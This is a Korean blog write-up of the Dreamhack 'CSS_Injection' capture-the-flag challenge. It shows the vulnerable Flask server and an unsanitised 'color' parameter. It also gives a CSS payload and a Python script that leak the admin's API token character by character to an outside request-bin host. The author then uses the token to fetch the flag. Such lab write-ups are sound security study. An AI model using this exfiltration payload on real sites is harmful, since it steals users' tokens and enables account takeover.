[WARGAME][드림핵 CTF] CSS_Injection

jckim22·2022년 12월 8일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
113/114

이번 문제는 이전에 공부할 때 풀었던 문제이다. 다시 복습 차원에서 풀어보도록 하겠다.

공부한 것을 활용하여 처음 푸는 느낌으로 문제를 풀어나갔다.

아래는 서버 코드이다.

#!/usr/bin/python3
import hashlib, os, binascii, random, string
from flask import Flask, request, render_template, redirect, url_for, session, g, flash
from functools import wraps
import sqlite3
from selenium import webdriver
from promise import Promise

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = os.environ.get('DATABASE', 'database.db')

try:
    FLAG = open('./flag.txt', 'r').read().strip()
except:
    FLAG = '[**FLAG**]'

ADMIN_USERNAME = 'administrator'
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))

def execute(query, data=()):
    con = sqlite3.connect(DATABASE)
    cur = con.cursor()
    cur.execute(query, data)
    con.commit()
    data = cur.fetchall()
    con.close()
    return data


def token_generate():
    while True:
        token = ''.join(random.choice(string.ascii_lowercase) for _ in range(16))
        token_exists = execute('SELECT * FROM users WHERE token = :token;', {'token': token})
        if not token_exists:
            return token


def login_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        if session and session['uid']:
            return view(**kwargs)
        flash('login first !')
        return redirect(url_for('login'))
    return wrapped_view


def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get('API-KEY', None)
        token = execute('SELECT * FROM users WHERE token = :token;', {'token': apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {'code': 401, 'message': 'Access Denined !'}
    return wrapped_view


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()


@app.context_processor
def background_color():
    color = request.args.get('color', 'white')
    return dict(color=color)


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        username = request.form.get("username")
        password = request.form.get("password")
        user = execute('SELECT * FROM users WHERE username = :username and password = :password;', 
            {
                'username': username,
                'password': hashlib.sha256(password.encode()).hexdigest()
            })

        if user:
            session['uid'] = user[0][0]
            session['username'] = user[0][1]
            return redirect(url_for('index'))

        flash('Wrong username or password !')
        return redirect(url_for('login'))


@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('Logout !')
    return redirect(url_for('index'))


@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute('SELECT * FROM users WHERE username = :username;', {'username': username})
        if user:
            flash('Username already exists !')
            return redirect(url_for('register'))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(sql, {'username': username, 'password': hashlib.sha256(password.encode()).hexdigest(), 'token': token})
        flash('Register Success.')
        return redirect(url_for('login'))


@app.route('/mypage')
@login_required
def mypage():
    user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': session['uid']})
    return render_template('mypage.html', user=user[0])


@app.route('/memo', methods=['GET', 'POST'])
@login_required
def memopage():
    if request.method == 'GET':
        memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': session['uid']}) 
        return render_template('memo.html', memos=memos)
    else:
        memo = request.form.get("memo")
        sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
        execute(sql, {'uid': session['uid'], 'text': memo})
    return redirect(url_for('memopage'))


# report
@app.route('/report', methods=['GET', 'POST'])
def report():
    if request.method == 'POST':
        path = request.form.get('path')
        if not path:
            flash('fail.')
            return redirect(url_for('report'))

        if path and path[0] == '/':
            path = path[1:]

        url = f'http://localhost:80/{path}'
        if check_url(url):
            flash('success.')
        else:
            flash('fail.')
        return redirect(url_for('report'))

    elif request.method == 'GET':
        return render_template('report.html')


def check_url(url):
    try:
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome('./chromedriver', options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        
        driver_promise = Promise(driver.get('http://localhost:80/login'))
        driver_promise.then(driver.find_element_by_name("username").send_keys(str(ADMIN_USERNAME)))
        driver_promise.then(driver.find_element_by_name("password").send_keys(ADMIN_PASSWORD.decode()))

        driver_promise = Promise(driver.find_element_by_id("submit").click())
        driver_promise.then(driver.get(url))
    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True


# API
@app.route('/api/me')
@apikey_required
def APIme():
    user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': request.uid})
    if user:
        return {'code': 200, 'uid': user[0][0], 'username': user[0][1]}
    return {'code': 500, 'message': 'Error !'}

@app.route('/api/memo')
@apikey_required
def APImemo():
    memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({'idx': tmp[0], 'memo': tmp[2]})
        return {'code': 200, 'memo': memo}

    return {'code': 500, 'message': 'Error !'}


# For Challenge
@app.before_first_request
def init():
    execute('DROP TABLE IF EXISTS users;')
    execute('''
        CREATE TABLE users (
            uid INTEGER PRIMARY KEY,
            username TEXT NOT NULL UNIQUE,
            password TEXT NOT NULL,
            token TEXT NOT NULL UNIQUE
        );
    ''')

    execute('DROP TABLE IF EXISTS memo;')
    execute('''
        CREATE TABLE memo (
            idx INTEGER PRIMARY KEY,
            uid INTEGER NOT NULL,
            text TEXT NOT NULL
        );
    ''')

    # Add admin
    execute(
        'INSERT INTO users (username, password, token)'
        'VALUES (:username, :password, :token);',
        {
            'username': ADMIN_USERNAME,
            'password': hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            'token': token_generate()
        }
    )

    adminUid = execute('SELECT * FROM users WHERE username = :username;', {'username': ADMIN_USERNAME})

    # Add FLAG
    execute(
        'INSERT INTO memo (uid, text)'
        'VALUES (:uid, :text);',
        {
            'uid': adminUid[0][0],
            'text': 'FLAG is ' + FLAG
        }
    )


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

이 문제를 전에 풀 때 injection을 API token이 아닌 password에 했던 삽질이 생각 났다.

오랜만에 푸는 문제라 기억을 더듬어야 했고 input[][] 같은 문법은 구글로 찾아보아야 했다.

먼저 웹페이지를 돌아다녀 보자
아래와 같이 회원가입도 해보고

로그인을 해본 후 마이페이지에 들어가본다.

아래를 보면 API Token이 보인다.
API Token은 짧고 새로고침 해도 변경되지 않는 계정 고유의 Token임을 알아야한다.


개발자도구를 보면 value값에 APIToken이 있다.
나는 admin의 APIToken을 알아내는 것이 목적이다.
CSS Injection은 value 값이 뭔지 블라인드 인젝션으로 알아낼 수 있다.

아래를 보면 api/me나 api/memo 페이지가 보인다.
들어가보면 admin이 아니기 때문에 access가 deny된다.


아래는 Token을 확인하는 코드이다.
해석하면 api Token을 받아서 그 토큰에 해당하는 id를 uid로 담아주는 것 같다.
아까는 token을 주지 않아서 Access Denied 가 출력됐나 보다.

그리고 아래는 background color를 받는 함수이다.


color = red로 입력하면 red를 css로 받아서 배경 색깔을 red로 변경해준다.

이제 이것을 이용하여 배운대로 injection을 수행해보자.

color=white;} input[id=InputApitoken][value^="소문자 알파벳"] {background: url(https://ajelygv.request.dreamhack.games/"+구한 토큰+");

위와 같은 코드를 쓸 수 있다.
;}로 괄호를 닫고 input[id=InputApitoken]으로 지정을 해준다.
그리고 접속한 사용자의 inputApitoken의 value를 ^=연산자로 첫 글자를 비교한다.

backgroun url로 요청이 오게되면 input에 해당하는 value값이 맞다는 뜻이기 때문에 이런 식으로 한 글자씩 알아낼 수 있다.

내 기억에 이것을 스크립트 코드로 반복했었는데 누적하는 법을 찾지 못해 16번을 내가 반자동으로 반복했던 기억이 났다.

익스플로잇을 짜보자

import requests,string

URL = "http://host3.dreamhack.games:15202/report"

token=''

for i in string.ascii_lowercase:
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+token+i+"] {background: url(https://smpkvvz.request.dreamhack.games/"+token+i+");"}
    res = requests.post(URL, data=data)
    print(token+i)

첫 글자를 알아낸 후 token을 계속 추가하면서 그 다음 글자를 알아내는 방식이다.

총 16번 수동 실행했다.


코드를 보면 requests.headers.get이기 때문에 API-KEY라는 변수를 패킷을 잡아 헤더에 넣어주면

응답 패킷으로 flag가 온다.

풀다가 기억이 가물가물 해져서 시간이 좀 걸리는 바람에 세션이 초기화 되어서 한번 더 풀었다.
확실할 때 푸는 것이 좋겠다.

profile
개발/보안

0개의 댓글